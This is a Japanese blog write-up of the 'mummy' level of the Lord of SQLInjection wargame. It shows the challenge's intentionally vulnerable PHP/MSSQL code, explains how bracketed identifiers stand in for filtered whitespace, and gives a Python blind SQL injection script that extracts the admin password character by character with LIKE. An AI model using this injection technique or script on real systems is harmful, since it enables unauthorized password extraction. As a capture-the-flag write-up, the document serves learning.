はまやんはまやんはまやん

hamayanhamayan's blog

mummy [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = mssql_connect("mummy");
if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
$query = "select".$_GET['query'];
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result[0]) echo "<h2>Hello anonymous</h2>";

$query = "select pw from prob_mummy where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("mummy");
highlight_file(__FILE__);

特徴は以下。

  • SQL Server
  • query,pwが入力可能
    • queryはmaster,sys,information,;がフィルタリング
    • asciiにしたときに32以下となる文字は使えない
  • adminのpwを取ってくる必要がある

Space2?????

スペースが使えないので何とかする必要がある。
これはデータベース識別子 - SQL Server | Microsoft Docsが使える。
本来は予約語をテーブル名とかにした場合に使うものであるが、これを使うとスペースが必要なくなる。
select password from Users where username = 'admin'
これをデータベース識別子を使うと、
select[password]from[Users]where[username]='admin'
のように書ける。これならスペースは必要ない。

Blind SQL Injection

長さは取ってこれなさそうなので、like文でゴリゴリ持ってくる。
[pw]from[prob_mummy]where[id]='admin'and[pw]like'{ans}{c}%'

import requests

url = "https://los.rubiya.kr/chall/mummy_3.php"
cookie = {'PHPSESSID': 'e5'}

def check(data) -> bool:
    return ("Hello admin" in data) or ("Hello guest" in data) or ("<h2>Hello anonymous</h2>" in data)

length = 10
print(f"[*] length = {length}")

ans = ""
for i in range(0, length):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ,":
        q = f"[pw]from[prob_mummy]where[id]='admin'and[pw]like'{ans}{c}%'"
        res = requests.get(url, params={'query': q}, cookies=cookie)
        if check(res.text):
            ans += c
            ok = True
            break
    print(f"[*] {ans}")

print(f"[*] find! {ans}")